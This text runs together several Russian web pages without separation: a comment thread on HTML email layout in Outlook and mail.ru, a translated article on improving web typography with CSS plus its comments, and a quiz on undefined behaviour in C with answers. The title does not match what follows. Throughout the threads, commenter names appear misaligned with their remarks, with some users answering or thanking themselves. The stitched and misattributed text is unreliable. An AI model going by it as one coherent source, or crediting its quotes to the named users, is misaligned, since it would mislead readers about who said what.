При тестировании HTML в Windows Live обнаружил, что не работают ссылки с якорем #comment
Tigger
В Outlook есть еще такой занятный параметр у тега — NOSEND. Он нужен для того, чтобы получателю письма приходило письмо без картинок, а картинки он мог по желанию подгрузить с сервера через контекстное меню. Пример:

<img src="внутренний_сервер_картинок/img1.jpg" width="145" height="110" NOSEND="1" />

Еще недавно этот прием у меня работал на ура, когда нужно было уместить в узкий лимит письмо с картинками общим объемом 150-200 Кб. Но пару месяцев назад работать перестало — картинки все равно шлются вставленными в тело письма.

Может кто-нибудь знает что с этим делать и как вернуть счастье?
naum
И вот представьте, в силу какого-либо рода обстоятельств (настройки почтового клиента, брандмауэра или еще сотни вариантов) у человека получившего письмо картинки не подгрузились с внешнего источника. Как это выглядит? А отсюда уже идет масса казусов.
Tigger
Опять же, как писал выше, мои получатели все сидят на одном и том же клиенте с едиными настройками по-умолчанию и за одним и тем же корпоративным фаерволлом. Когда я однажды открыл для себя NOSEND — это было событие дня для меня, потому что реально сделало задачу проще в три раза. А теперь счастье ушло… Наверное снова закрутили гайки безопасности. Или тоже подумали о совместимости клиентов, как вы говорите.
naum
Понял, теперь ясно что значит «внутренний_сервер_картинок», мои извинения, не усмотрел частный случай.
Tigger
Кто почтовые дизайны верстал, тот в цирке не смеется.
smart
Еще фееричный момент mail.ru:
сочетание ">0<" заменяется на полный текст письма. Правится заменой на "> 0 <".
Пример: «Скидка: 0 руб.» в интерфейсе mail.ru отображается как
«Скидка: Скидка: 0 руб. руб.»
naum
Тут просто необходимо вспомнить Email Standards Project. Цель этого проекта — улучшить поддержку веб-стандартов при верстке HTML-писем. Там, в частности, содержатся рекомендации по верстке писем и информация о поддержке HTML и CSS разными почтовыми сервисами и клиентами.
Tigger
«Чтобы в IE6 внизу картинок не отображался 3px отступ, надо, чтобы между тегом картинки и тегом закрытия ячейки не было пробельных символов (при этом допускается использование для переноса строки комментария вида:
<td> <img src="" alt="" /><!-- --></td>»
Можно инлайном прописать line-height:0, тоже помагает решить проблему с 3px
Множество людей, включая дизайнеров, думают, что типографика – это только выбор гарнитуры, размера шрифта и того, должен ли он быть нормальным или полужирным. Для большинства людей на этом все и заканчивается. Но для получения хорошей типографики нужно гораздо больше и как правило это детали, которые дизайнеры часто игнорируют.
Эти детали дают дизайнеру полный контроль, позволяет ему создавать прекрасные и последовательные с точки зрения типографики решения в дизайне. Хотя все это применимо для различных типов носителей, в этой статье мы сосредоточимся на том, как их применить к веб-дизайну с использованием CSS. Вот 8 простых путей с помощью CSS улучшить типографику и, следовательно, общее удобство дизайна.

1. Размеры



Размер наборной строки. Для глаза читателя, длинные или короткие строки утомительны. Длинные – разрушают ритм, так как читателю трудно найти следующую строку текста. Единственная ситуация, в которой приемлемы короткие строки – малое количество текста. Для наилучшей читабельности длина строки должна быть между 40 и 80 символами, включая пробелы. Для дизайна с одной колонки текста 65 символов – идеальны.



Простой способ вычислить длину строки – использовать метод Роберта Брингхарста (Robert Bringhurst’s), который умножает размер шрифта на 30. То есть, если размер шрифта 10px, умножая его на 30 получим 300px или, приблизительно, 65 символов в строке. Код будет выглядеть приблизительно как:
p {
font-size: 10px;
max-width: 300px;
}

Я использую px так как это значительно упрощает расчеты, но можно использовать и em.

2. Интерлиньяж



Интерлиньяж это пространство между строками текста в теле заметки и оно играет большую роль для читабельности. Правильное разделение строк, позволяет читателю проще следить за строкой и улучшает внешний вид текста. Интерлиньяж так же изменяет типографический цвет текста, который является плотностью или же тоном композиции.
На интерлиньяж влияет множество факторов: гарнитура, размер шрифта, его полнота, обстоятельства(?), длина строки, расстояние между словами и т.д. Чем длиннее строка, тем больше интерлиньяж. Чем больше размер шрифта, тем меньше интерлиньяж. Хорошее правило – устанавливать интерлиньяж на 2-5pt больше, чем размер шрифта, в зависимости от гарнитуры. Так что если шрифт 12pt, то для веб интерлиньяж должен быть в 15pt или 16pt.



Определение верного интерлиньяжа требует определенной ловкости, но ниже приведен пример того, на что должен быть похож ваш код:
body {
font-family: Helvetica, sans-serif;
font-size: 12px;
line-height: 16px;
}


3. Обработка кавычек



Обработка кавычек должна проводиться на полях текста. Если кавычки сливаются с текстом, то они разрывают левое поле и нарушают рифму блока текста. Обработка кавычек не нарушает выравнивания по левому краю и баланса и поэтому – улучшает читабельность.



Это легко достигается с помощью CSS, используя элемент blockquote:
blockquote {
text-indent: -0.8em;
font-size: 12px;
}


Отрицательный отступ будет зависеть от гарнитуры, размера шрифта и полей.

4. Вертикальный ритм



Сетка базовых линий это основа постоянного типографического ритма на странице. Он позволяет читателям легко следить за текстом, что в свою очередь увеличивает читабельность. Постоянный ритм в вертикальном пространстве удерживает текст на постоянной сетке так, что пропорции и баланс сохраняются неизменными по всей странице вне зависимости от размера шрифта, интерлиньяжа или длинны строки.



Для того что бы поддерживать вертикальный ритм с помощью CSS, нужно, что бы расстояние между элементами и межстрочное расстояние (интерлиньяж) был равен размеру сетки базовых линий. Допустим, вы используете 15px сетку базовых линий, подразумевая, что между каждой линией сетки 15px. Интерлиньяж будет 15px и расстояние между параграфами тоже будет 15px. Вот пример:
body {
font-family: Helvetica, sans-serif;
font-size: 12px;
line-height: 15px;
}

p {
margin-bottom: 15px;
}


Это позволяет каждому параграфу располагаться на сетке, сохраняя вертикальный ритм текста.

5. Верхние и нижние висячие строки



Верхняя висячая строка — строка текста или слово в конце параграфа. Нижняя висячая строка — слово или короткая строка текста в начале или конце колонки, которая отделена от всего остального текста. Верхние и нижние висячие строки образуют неуклюжие куски, прерывают взгляд читателя и влияют на читабельность. Этого можно избежать увеличив размер шрифта, интерлиньяж, длину строки, расстояние между словами и межбуквенное расстояние или вводя вручную разрывы строки.



К несчастью, нет простого способа предотвратить висячие строки с помощью CSS. Один из способов от них избавится был описан выше, еще один — jQWidon’t, плагин для jQuery, который размещает неразрывные пробелы между последними двумя словами элемента.

6. Выделение



Важно выделять слова не отвлекая читателя. Курсивное начертание часто рассматривается как идеальная форма выделения. Некоторые другие распространенные формы выделения: полужирное начертание, заглавные буквы, капитель, размер шрифта, цвет, подчеркивание или другая гарнитура. Не важно, какой вы воспользуетесь, постарайтесь использовать только одну. Такие комбинации как капитель – полужирное – курсивное начертание отвлекают и смотрятся неуклюже.



Вот несколько способов выделения с помощью CSS:
span {
font-style: italic;
}

h1 {
font-weight: bold;
}

h2 {
text-transform: uppercase;
}

b {
font-variant: small-caps;
}

Имейте в виду, что font-variant работает только в случае, если шрифт поддерживает капитель.

7. Масштаб



Всегда верстайте с учетом масштаба, традиционного ли масштаба разработанного в шестидесятых и с которым мы все знакомы, или тот, который придуман вами. Масштаб важен, так как создает типографическую иерархию, что улучшает читабельность, создает гармонию и улучшает когнитивную пригодность текста.



Пример типографического масштаба определенного в CSS:
h1 {
font-size: 48px;
}

h2 {
font-size: 36px;
}

h3 {
font-size: 24px;
}

h4 {
font-size: 21px;
}

h5 {
font-size: 18px;
}

h6 {
font-size: 16px;
}

p {
font-size: 14px;
}


8. Подчищаем рваные края



Когда создается блок текста с выравниванием по левому или правому краю, не забудьте подчистить рваные края (неровные строки) и сбалансировать текст без всяких неожиданных «дыр» или неуклюжих форм текстовых блоков. Рваные края могут отвлекать читателя. Хороший край «мягкий», равномерный, без слишком длинных, или слишком коротких строк. Нельзя контролировать это с помощью CSS, так что для получения хороших краев надо вносить в текст ручные правки.



Можно улучшить края с помощью переносов, но к сожалению CSS тут бессилен. Возможно, в «ближайшем» будущем CSS3 обеспечит некоторый контроль… Но несмотря на это – не все потеряно. Есть ряд решений на стороне сервера и на стороне клиента, которые осуществляют автоматическую расстановку переносов. Например phpHyphenator, Hyphenator или online генераторы.



Hyphenator.js это Javascript-библиотека которая осуществляет автоматическую расстановку переносов на стороне клиента.

Ресурсы для дальнейшего изучения



Вот список тематически связанных с проблемой статей и книг, которые помогут вам с деталями.


Об авторе



Антонио Карусон (Antonio Carusone) это графический дизайнер из Нью-Йорка и автор AisleOne, блога посвященного графическому дизайну и типографике, The Grid System, неуклонно расширяющегося ресурса о сеточной системе и части Thinking for a Living Network.

О переводчике


Перевод выполнил я Ворон или Silent Imp.
Я вольнонаемный верстальщик, программист.
И очень надеюсь, что кому то эта статья доставит удовольствие или даже принесет пользу.
Буду очень рад вашим отзывам.
seiros
спасибо, действительно полезный матриал.
AIN
Да, хороший, но 5й пункт несколько раз перечитал чтобы понять… так и не понял что за «окна» и «абзацевые строки», пока не понял что имеются ввиду — «висячие строки». У нас в России, вроде, они так называются и никак иначе.
VasilioRuzanni
Да они вроде и «у них» так же как то называются. Типа "hanging punctuation" или «hanging quotes».
AIN
Нет, про «висячую пунктацию» написано в третьем пункте, а здес другое.
VasilioRuzanni
Ага, правда автор все равно ошибся. Перевел «widow» как «окно». А по вашей ссылке в википедии как раз об этом рассказывается.
AIN
Вот и я подумал что с переводом что-то не то)
AIN
Тогда просим автора подправить статью, которая, кстати, хорошая)
SilentImp
Спасибо вам! Большое при большое.
Поправил.
Я сам долго пытался понять, что за «окна».
Так как не специалист в области типографики и сам только учусь, а статья переводилась с 2 часов ночи до 6 утра, то ошибки действительно встречаются.
VasilioRuzanni
А, точно, ошибся.
AIN
Ага, бывает)
iBear
Кратко и по сути, вот так мне нравится!
Jama
типографиКа
Типография — это место где печатают книги.
SilentImp
Сейчас исправлю. Спасибо большое.
Adrior
4. Вертикальный ритм


В примере «хорошо» заголовок получился ближе к предыдущему абзацу, чем к следующему (или равноудаленным от обоих). Так что, по-моему, это, скорее, даже «плохо», чем «хорошо». Теория близости.
SilentImp
Даже с учетом теории близости можно располагать заголовок на сетке.
Я согласен, теория близости — полезна и верна.
Но в данном случае иллюстрировали именно использование сетки.
Должно быть автор просто не хотел отвлекать внимание на что то еще.
Adrior
По-моему, странно жертвовать одним важным правилом, чтобы продемонстрировать другое (причем, какое из них важнее — вопрос спорный). Ведь многие люди повторят даже не задумываясь, и при этом будут уверены, что поступают «хорошо». :)
Но вообще статья полезная, спасибо.
SilentImp
Я думаю, что человек может получать из статьи знания но необходимость думать что, как и где использовать это никак не отменяет.
Мне кажется что иллюстрация должна быть простой и понятной.
Если в нее добавлять посторонние элементы, то возникнут вопросы — «Ой, а почему здесь так?».
Вопросы, на которые статья не даст ответа, так как рассматривает совершенно другие моменты.
Вывод: в любом случае найдется масса людей, которые все поймут не верно.

Я очень рад, что перевод понравился.
TiGR
Пиксели, пиксели, пиксели… Всегда думал, что указание в пикселях размера шрифта, равно как и ширины текстового блока зло, ибо ломается масштабирование в ИЕ (может ещё где). Или я не прав?
almalexa
Есть проблемы с переводом в емы?
Родительский размер шрифта × кол-во пикселей = емы
TiGR
Да я о том, что тут кругом пиксели, поинты и прочие фиксированные единицы, что создаёт свои проблема. Например:
Хорошее правило – устанавливать интерлиньяж на 2-5pt больше, чем размер шрифта, в зависимости от гарнитуры.
А не проще написать: 1.2em. А то «на 2-5pt больше» это как-то из серии «добавьте там чуть-чуть».

И потом пиксели в емы просто так не конвертируются, если пытаешься сделать по-настоящему гибкий дизайн, легко и правильно масштабируемый пользователем.
SilentImp
Абсолютно согласен. В данной статье я сам ожидал увидеть em.
Конечно дизайн приходится привязывать к px в случае наличия растровой графики, но я не вижу ни единой причины, почему они фигурируют тут. «Простота вычислений» — бред, помоему.
andreysmind
Если бы только пиксели.
Пассаж про «висячие» строки применительно к вебу или рекомендации с использованием js-переносов вообще диковато смотрятся.
aps
Первый из описанных способов имеет важный недостаток: описанные в нём цифры, равно как и метод Роберта Бринхёрста (Robert Bringhurst), годятся только для англоязычного текста, в котором узкие буквы (i, f, j, l) нередки.

В русском алфавите настолько узких букв нету. Более того: в русском алфавите есть широкие буквы (ш, щ, ы, ж, ю). Соотношение поэтому должно быть другим, и ширина колонки текста должна стать другою.
msapiens
А какая ситуация с русскоязычным текстом?
У нас есть «идеальная длинна строки»?
Возможно кто то встречал материалы на эту тему. Если такие люди есть — поделитесь, пожалуйста.
Mithgol
В отношении русскоязычных текстов, в том числе по результатам исследований, «идеалом» является в среднем 65 символов на строку. Посчитать в том числе в em — это можно, и сформировать для конечного пользователя удобоваримый текстовый блок по средствам js не большая проблема.
SilentImp
По-моему в книге у Брингхерста это тоже есть. Он там упоминает, что в русском языке и слова длиннее и буквы шире. Я точно об этом где-то видел, а поскольку сейчас читаю именно «Основы стиля в типографике», то скорее всего я это там увидел.
Kaaboeld
Непонятно почему минусуют вас, вы совершенно правы в русском издании Брингхерста (издатель Дмитрий Аронов, 2006) очень хорошие комментарии переводчика/редактора, там все различия — все по полочкам расписано, вероятно вы их и читали.
andreysmind
А ну точно, потому что там редакция и примечания Владимира Ефимова.
likeleto
Ой, заминусовали. :) Ну и ладно, наверняка просто у кого-то день не сложился. :)
likeleto
полезная статья) спасибо)

andreysmind
не «о авторе», а «об авторе». и еще — человек не может быть «это».
мелочи, а именно из этого и складывается отношение к тексту, какой-бы там типографика ни была.
rvller
Спасибо вам за замечание. Поправил.
sitehound
не «об переводчике», а «о переводчике»)
Phenomen
Мне стыдно.
SilentImp
Да ничего)
AIN
Всё бы хорошо, но многие советы — про вёрстку неизменяемого текста, причём сферического и в вакууме. Как вы будете следить за окнами, дырками и висячими строками, если текст приходит из базы и обновляется по сто раз на дню? Да никак. особенно если вспомнить, что у юзера и шрифты могут быть разными…
SilentImp
Мне кажеться, проблема немного надумана. Ничего не мешает вам задать интерлиньяж, длину строк, расстояния между блоками в css для различного текста. Плюс есть автоматические типографы для всяких кавычек, дефисов/тире, мягких переносов и т.п. А текстом из WYSIWYG тоже можно управлять (смотрите, например, HTMLPurifier).
AIN
Кажется вместо кажеться.
david_mz
Js + математика вам в помощь. Не вижу проблем для формирования правил для текстов по средствам данного тандема.
ipod
Дырки в наборе — это только ручными правками лечится…
ipod
под дырками подразумевающийся образовывавшиеся пространствам при «джастифай» выравнивании? Если, да то в статье он не приводиться как пример.
Kaaboeld
Замечательная статья, большое спасибо!

PS В заголовках точки в конце не ставятся… извините :)
david_mz
Поправил. Спасибо вам.
Kaaboeld
Вот и за что я получил все эти минусы в комментариях?
2501
Пожалуйста (счасливый).
SilentImp
Автор читал статейку и переводил ее для окружающих.
Если я где то ошибся при переводе &mdash то, пожалуйста, укажите на ошибку.
Я охотно ее исправлю.
SilentImp
И, да, я читал результат перевода.
SilentImp
Отдельное спасибо за пункты 1, 3 и 4. Особенно четвертый пункт, возьму на вооружение :)
Tilli
молодцом :) взял главную с первого поста?
SilentImp
Рад тебя видеть.
SilentImp
Спасибо автору :)
Жаль что некоторые замечания реализуются только руками

+ line-height: можно задать в процентном соотношении
ambientos
«… длина строки...», поправьте ошибку.
goodnews
Поправил. Спасибо!
habraname
спасибо за перевод. статью читал на днях, понравилась очень
SilentImp
Перевод местами очень неуклюжий. Вот в 8 пункте просто режет глаз:

rag — рваный край, а не хвост и не грань
uneven — неровный, а не нечетный

Ну и еще подобные места есть. Тщательнее надо переводить.
Tvarb
Спасибо. Буду стараться.
ioracle
спасибо за перевод. очень полезная статья.
однако некоторые правила невозможно применить, по причинам:
1. никого кроме дизайнеров не интересует качество типографики.
2. идеальное решение не может быть достижимо в вэбе, так как 80% контента динамично, т.е. можно контролировать только размер шрифта и интерлиньяж.
SilentImp
Вы не совсем правы.
1. Я, например, — верстальщик. И мне не все равно.
Если вы имеете в виду заказчиков — нужно понимать что они могут в этом совершенно ничего не понимать. А значит ответственность за типографику проекта лежит на дизайнерах, верстальщиках, копирайтерах и редакторах проектра.
2. Да. Верстальщика, работающего в вебе трудно назвать гордым «метранпаж». Да, мы ограничены в инструментах. Но все же стоит старатся и делать как можно лучше. Даже с оговоркой «для веба».
Все описанные в статье приемы так или иначе можно контролировать в веб. И, даже если контент у сайта быстро пополняется и динамически формируется, редактор может подправить этот контент так, что бы он обладал наилучшей читабельностью.
eatart
1. именно заказчиков, а также пользователей.
практически все проекты делаются не дизайнерами, а дизайнерами совместно с заказчиком. (у меня 10 лет стаж и клиенты от «америкосов» до местных «операторов мобильной связи»).
2. я знаю что можно контролировать. но редакторы на это кладут, так как для них важно что бы новость была вовремя опубликована.

ясно, что мои комментарии касаются реальных обычных условий работы, а не некоторых разработчиков, которые могут себе позволить…

энивэй — я только За Идеальные решения.
iandrew_lis
Надо не на редакторов пенять, а на программистов, которые суют им стыренный TinyMCE с 40 кнопками (работа на уровне школьника 8 класса). И на дизайнеров, которые не прорабатывают все стили для текста (h1-h6, ol, ul, blockquote, em, strong, address… что там еще).

Давайте редактору возможность использовать только разрешенные стили офомления и цвета. Не можете заставить его ставить длинное тире — прикрутите типограф.

Другой вопрос, захочет ли заказчик платить за эту малозаметную работу.
Kalobok
0. Дизайнер должен знать, как использовать свой инструмент. В данном случае — WYSIWYG. И тем более он должен разбиратся в типографике гораздо больше, чем программист, который, как правило, весьма смутно представляет какие именно возможности нужны хорошему редактору. Впрочем это просто перекладывание ответственности с одного на другого. Все они должны быть компетентны и надо ругать менеджера, за то, что не узнал что нужно редактору и не объяснил этого программисту.
1. А какой WYSIWYG вы рекоммендуете? Или дело именно в настройке и отсекании лишних функциональных возможностей?
2. Поясните, пожалуйста, что такое типограф, который вы советуете прикрутить.
3. Если включать это в стоимость услуг по верстке/пополнению материалов — у него просто не останется выбора. Правда он может обратится к другому специалисту… Но насколько нам нужны заказчики, которые не хотят платить за качественный, всесторонне проработанный продукт?
SilentImp
Дизайнер? Извините, редактор.
3am
Дизайнер должен (если конечно от него это требуется) задать оформление для различных элеемнтов, которые могут встретиться в тексте: списки, картинки, таблицы, цитаты, ссылки и т.д. указать набор цветов и стилей для выделения текста. А программист должен все это воплотить в редакторе, так что контент-менеджер не сможет вылезти за рамки гайдлайнов.

Стоит убрать из редактора кнопки выбора шрифта, размера шрифта, кнопки увеличения отступа, в диалоге выбора цветов поменять ужасные цвета внесенные туда по умолчанию, на подобранные дизайнером. Убрать вообще все лишние средства оформления. Для картинок, таблиц задать определенные параметры (отступы, рамки, подписи), опять же чтобы менеджер не мог менять оформелние этих жлементов.

По поводу типографа  — можно скриптом проверять и расставлять тире, неразрывные пробелы и прочее. Хооршо бы также внедрить проверку орфографии и пунгктуации (но это очень сложно и дорого). Можно убивать попытки выравнивания текста пробелами, или перевордами строки. Мног оможно сделать.

И делать этодолжен программист.

Объяснить каждому контент-менелджеру, что оформление стоит отделять от содержания, вряд ли получится.

У меня были мысли расковырять какой-нибудь редактор, и привести его ко вменяемому виду, но не было времени и возможности реализовать это.

А всунуть TinyMCE — дело 10 минут, но и результат будет соответствующий (некачественный сайт).
SilentImp
Да, настроить редактор нужно. Но надо помнить, что оформление текста так же зависит от места в разметке, в котором текст находится. В редактор встроить такое разделение затруднительно. Возможно, конечно, все. Но как минимум такое разделение придется менять от проекта к проекту.

Возможно стоит использовать редактор типа WYMeditor. Это решает проблему, отчасти. Но мне сам редактор не понравился, а аналога не нашел.
3am
Зато идея хорошая. А аналоги и не надо искать, надо писать самому. Я бы кстати заодно выкинул из редактора Jquery, там она совсем не нужна.
egorinsk
Лучше вместо того, что бы отказаться от jQuery, добавить graceful degradation.
А писать самому… Да. Вы правы. Главное что бы жизни хватило все написать, что хотелось и хотя бы приблизительно так, как хотелось.
SilentImp
Там есть degradation, в отсутсвие яваскрипта остается просто textarea, и можно ручками править HTML.

Правда не проверяется поддержка iframes.
SilentImp
в том-то и дело. получается, что вопрос качественной работы — менеджмент.
обычно, я, как дизайнер должен был отстаивать законы типографики. а менеджеры сидели тихонечко.
вобщем-то и за код отвечали сами производители, но ни как не выпускающий брэнд.
egorinsk
Читал в оригинале, и как-то мне очень сомнительно на счёт идеальности 65 символов в одну колонку — может во всём виноваты мои привычки, но читать сплошной ткст узкой полосой мне не удобно.
SilentImp
Узкой полосой — никому не удобно.
Но 65 символов — не такая уж и узкая полоса.
Только что взял первую попавшуюся под руку книгу: ~40 символов печатного текста с учетом пробелов.
А, как мне кажется, на книги стоит в данном случае ориентироваться.
egorinsk
я тоже посмотрел: 40 — только в детской литературе; ~65 — в «покетах» (карманный формат).
SilentImp
Зело пользительный матерьялец и ссылки.
Огромное спасибо.
egorinsk
Спасибо, интересная статья. Много нового для себя узнал.
3am
> Я использую px так как это значительно упрощает расчеты, но можно использовать и em.

Позор такому верстальщтку, надо писать 30em а не 300px, так как сами же ширину текста задаете в символах. Вы пробовали в сафари, ИЕ6 или Хроме увеличить шрифт? Убого слепленные сайты сразу же ползут и разъезжаются. Ничего сложного в использовании em нет.

p.s. А про вертикальный ритм — это правда, и всюду так стоит делать или выдумки? Кто знает, ответьте пожалуйста.

p.p.s Не советую использовть какие-то сомнительные, тяжелые плагины для выравниванимя текста, замедляющие работу сайта, в общем случае лучше пройтись по тексту вручную или скриптом-типографом.
Busla
Что за скрипт-типограф? Можно поподробнее, с примерами и ссылками?
SilentImp
Ну есть же у Лебедева типограф, www.typograf.ru/flog/ ← вот этот очень даже неплохой.
Busla
Спасибо вам большое за ссылку.
ring0
“Widows” и “orphans” так дословно и переводятся, как «вдовы» и «сироты» — это термины из английской типографики, у нас приятно оба вида называть просто, как «висячие строки».

Непонятно, зачем в заголовках использовать какой-то юродивый шрифт, когда можно было бы использовать стандартную “Georgia”.
egorinsk
Уже упоминал — сам был удивлен px. Но статья все таки не про доступность. Да и, трезво смотря на вещи, нужно понимать, что какие то проблемы это может вызвать только у пользователя ie6. Браузера, который хотя и медленно, но все же неотвратимо покидает сценцу. Причем, под крики «Побыстрей бы уже!».
Хотя, конечно, не все со мной согласны: http://www.saveie6.com/
SilentImp
По выравниванию строк в тексте не сильно понятна позиция по игнорированию атрибута джастифи у тэга текст-элайн. При такой ширине столбца % корявости минимален, а выигрыш — очевиден. Лично мне не очень нравятся «тупо переводы» без мысли переводчика, это, как-то, не сильно правильно и в итоге интересно.
egorinsk
Мысли переводчика имеют ценность только тогда, когда он профессионален в тематике статьи. Я пока только изучаю вопросы связанные с типографикой и не хочу зря болтать языком.
SilentImp
А по какой лицензии распространяется статья? Можно ее в CMS документацию вложить(со ссылкой на источник разумеется)?
arty
А что такое «CMS документация»?
drapox
Извиняюсь за загадочное предложение, я имел в виду документацию по CMS.

Наша компания сейчас разрабатывать «Еще одну дурацкую open source CMS». После того как доделаем первую Бета версию хочется сделать нормальную документацию для пользователей.

Как раз на днях думали, что неплохо бы внести необходимый минимум информации по правильной верстке текста в документацию.

В вашей статье много полезной информации на эту тему, отсюда и вопрос: можно добавить ее в документацию со ссылкой на сайт Вашей студии, страничку на Хабре или на любой другой сайт по Вашему усмотрению?
maxic
Я обожаю «дурацкие open source CMS». И я буду очень рад, если вы используете в документации мой перевод. Ссылка на мой сайт — в разделе «о переводчике». На сайт автора — в разделе «об авторе». Если вы дадите ссылки на хабр и на оригинал статьи — будет совсем здорово. Но, на деле — поступайте так, как сочтете правильным. Я сделал перевод, что бы он принес пользу. И рад, что он может это сделать.
SilentImp
А что за CMS, если не секрет?
LawbreaK
«Еще одну дурацкая open source CMS» :)
SilentImp
Ничего эпохального:
1. Модульность.
2. Многоязычность любого контента(просто страницы, новости, каталог, интернет магазин и т.д.)
3. Очень хочется сделать нормальную документацию (как для пользователей так и для разработчиков), но не знаю получится ли опыта в написании маловато, да и способности четко излагать мысли у меня не очень. В крайнем случае попробуем найти на фрилансе человека который переведет с моего языка на нормальный.

P.S. Быстро я на вопросы отвечаю (:

dAllonE
Ага. И подробно.
SilentImp
Спасибо, очень полезно и своевременно!
dAllonE
Спасибо) Очень полезная статья. В избранное однозначно!
SilentImp
Кстати, на сайте по линку «Ворон или Silent Imp.» интерлиньяж очень сомнительный.
SilentImp
Приветствую. К сожалению в статье пропали все картинки, а без них она становится менее читабельной.
Tvarb
Строго говоря вообще не читабельной.
Извините. Это я на своем аккаунте без задней мысли протестировал работу класса по работе с API Яндекс.Фотки.
Сегодня или завтра (как только немножко освобожусь) верну картинки.
Прошу прощения за это недоразумение и большое спасибо вам за то, что написали.
dAllonE
Вставил оригинальные картинки. Это приемлемо?
SilentImp
Да, большое спасибо. Теперь понятно про что речь!
pnul
Картинок все еще нет, или опять нет?
andone
Оу. Пропали.
Освобожусь сейчас немного и починю
Цель этой статьи — заставить всех, особенно программистов на Си, сказать «я не знаю Си».
Хочется показать, что тёмные углы в Си значительно ближе, чем кажется и даже тривиальные строки кода несут в себе undefined behavior.



Статья организована как набор вопросов. Ответы написаны белым. Все примеры — отдельные файлы исходного кода.

1.
int i;
int i = 10;


Q: Это корректный код? (Не возникнет ли ошибка, связанная с тем, что переменная определяется два раза? Напоминаю, это отдельный файл исходного кода, не на уровне функции или compound statement)

A: Да, это корректный код. Первая строка это предварительное объявление (tentative definition), которое становится объявлением после того, как компилятор обработал определение (вторую строку).

2.
extern void bar(void);

void foo(int *x)
{
  int y = *x;  /* (1) */
  if(!x)       /* (2) */
  {
    return;    /* (3) */
  }

  bar();
  return;
}


Q: Оказалось, что bar() вызывается даже тогда, когда x — нулевой указатель (и программа не завершается аварийно). Ошибка оптимизатора или всё корректно?

A: Да, всё корректно. Если x — нулевой указатель, то в строке (1) появляется undefined behavior, и тут уже никто ничего программисту не обязан: программа не обязана ни упасть в строке (1), ни сделать return в строке (2) если вдруг удалось выполнить строку (1). Если говорить о том, какими правилами руководствовался компилятор, то всё происходило так. После анализа строки (1) компилятор считает, что x не может быть нулевым указателем и удаляет (2) и (3) как недоступный код (dead code elimination). Переменная y удаляется как неиспользуемая и так как тип *x не квалифицирован volatile, то и чтение из памяти тоже удаляется.

Вот так неиспользуемая переменная убрала проверку на нулевой указатель.


3.
Была вот такая функция:
#define ZP_COUNT 10

void func_original(int *xp, int *yp, int *zp)
{
  int i;
  for(i = 0; i < ZP_COUNT; i++)
  {
    *zp++ = *xp + *yp;
  }
}


Её захотели соптимизировать так:
void func_optimized(int *xp, int *yp, int *zp)
{
  int tmp = *xp + *yp;
  int i;
  for(i = 0; i < ZP_COUNT; i++)
  {
    *zp++ = tmp;
  }
}


Q: Можно ли вызвать исходную и оптимизированную функцию так, чтобы получились разные результаты в zp?

A: Можно, пусть yp == zp.

4.
double f(double x)
{
  assert(x != 0.);
  return 1. / x;
}


Q: Может ли эта функция вернуть inf (бесконечность)? Считать, что числа с плавающей запятой реализованы по IEEE 754 (подавляющее большинство машин). assert включен (NDEBUG не определён).

A: Да. Достаточно передать денормализованный x, например, 1e-309.

5.
int my_strlen(const char *x)
{
  int res = 0;
  while(*x)
  {
    res++;
    x++;
  }
  return res;
}


Q: Приведённая выше функция должна возвращать длину null-terminated строки. Найдите ошибку.

A: Использование типа int для хранения размеров объектов является ошибочным: не гарантируется, что int сможет вместить размер любого объекта. Следует использовать size_t.

6.
#include <stdio.h>
#include <string.h>

int main()
{
  const char *str = "hello";
  size_t length = strlen(str);
  size_t i;
  for(i = length - 1; i >= 0; i--)
  {
    putchar(str[i]);
  }
  putchar('\n');
  return 0;
}


Q: Цикл является вечным. Почему?

A: size_t — беззнаковый тип. Если i беззнаковое, то i >= 0 всегда выполняется.

7.
#include <stdio.h>

void f(int *i, long *l)
{
  printf("1. v=%ld\n", *l); /* (1) */
  *i = 11;                  /* (2) */
  printf("2. v=%ld\n", *l); /* (3) */
}

int main()
{
  long a = 10;
  f((int *) &a, &a);
  printf("3. v=%ld\n", a);
  return 0;
}


Данную программу скомпилировали двумя разными компиляторами и запустили на little-endian машине. Получили два разных результата:
1. v=10    2. v=11    3. v=11
1. v=10    2. v=10    3. v=11


Q: Как объяснить второй результат?

A: В данной программе есть undefined behavior, а именно, нарушены правила строгого алиасинга (strict aliasing). В строке (2) изменяется int, поэтому можно считать что любой long не изменился. (Нельзя разыменовывать указатель, который алиасит другой указатель несовместимого типа.) Поэтому компилятор может передать в строке (3) тот же long, который был считан в процессе выполнения строки (1).

8.
#include <stdio.h>

int main()
{
  int array[] = { 0, 1, 2 };
  printf("%d %d %d\n", 10, (5, array[1, 2]), 10);
}


Q: Это корректный код? Если здесь нет undefined behavior, то что он выводит?

A: Да, тут использован оператор запятая. Сначала вычисляется левый аргумент запятой и отбрасывается, затем вычисляется правый аргумент и используется как значение всего оператора. Вывод: 10 2 10.

Обратите внимание, что символ запятой в вызове функции (например, f(a(), b())) не является оператором запятой и поэтому не гарантирует порядок вычислений: a(), b() могут быть вызваны в любом порядке.


9.
unsigned int add(unsigned int a, unsigned int b)
{
  return a + b;
}


Q: Каков результат add(UINT_MAX, 1)?

A: Переполнение беззнаковых чисел определено, вычисляется по модулю 2^(CHAR_BIT * sizeof(unsigned int)). Результат 0.

10.
int add(int a, int b)
{
  return a + b;
}


Q: Каков результат add(INT_MAX, 1)?

A: Переполнение знаковых чисел — undefined behavior.

11.
int neg(int a)
{
  return -a;
}


Q: Возможен ли тут undefined behavior? Если да, то при каких аргументах?

A: neg(INT_MIN). Если ЭВМ представляет отрицательные числа в дополнительном коде (англ. twos complement, подавляющее большинство машин), то абслютное значение INT_MIN на единицу больше, чем абсолютное значение INT_MAX. В этом случае -INT_MIN вызывает знаковое переполнение — undefined behavior.

12.
int div(int a, int b)
{
  assert(b != 0);
  return a / b;
}


Q: Возможен ли тут undefined behavior? Если да, то при каких аргументах?

A: Если ЭВМ представляет отрицательные числа в дополнительном коде, то div(INT_MIN, -1) — см. предыдущий вопрос.

— Dmitri Gribenko <gribozavr@gmail.com>


This work is licensed under a Creative Commons Attribution-ShareAlike 3.0 Unported License.
olegi
На iPad-e ответы не select-ятся :) может сделать еще отдельный pastebin? :)
EvilsInterrupt
Оно надо выделить мышью или чем там у Вас на йападе
Sterhel
айпальцем сойдет.
olegi
Отправил ЛС.
EvilsInterrupt
Спасибо
gribozavr
Написал комментарий.
olegi
Копипасти в блокнот и там читай — я так на айфоне делал.
philpirj
Ого, прям лайф хак :) спасибо :)
diamant
Попробуйте в opera mini. Айпада под рукой нет, но на андроиде текст выделяется привычным образом.
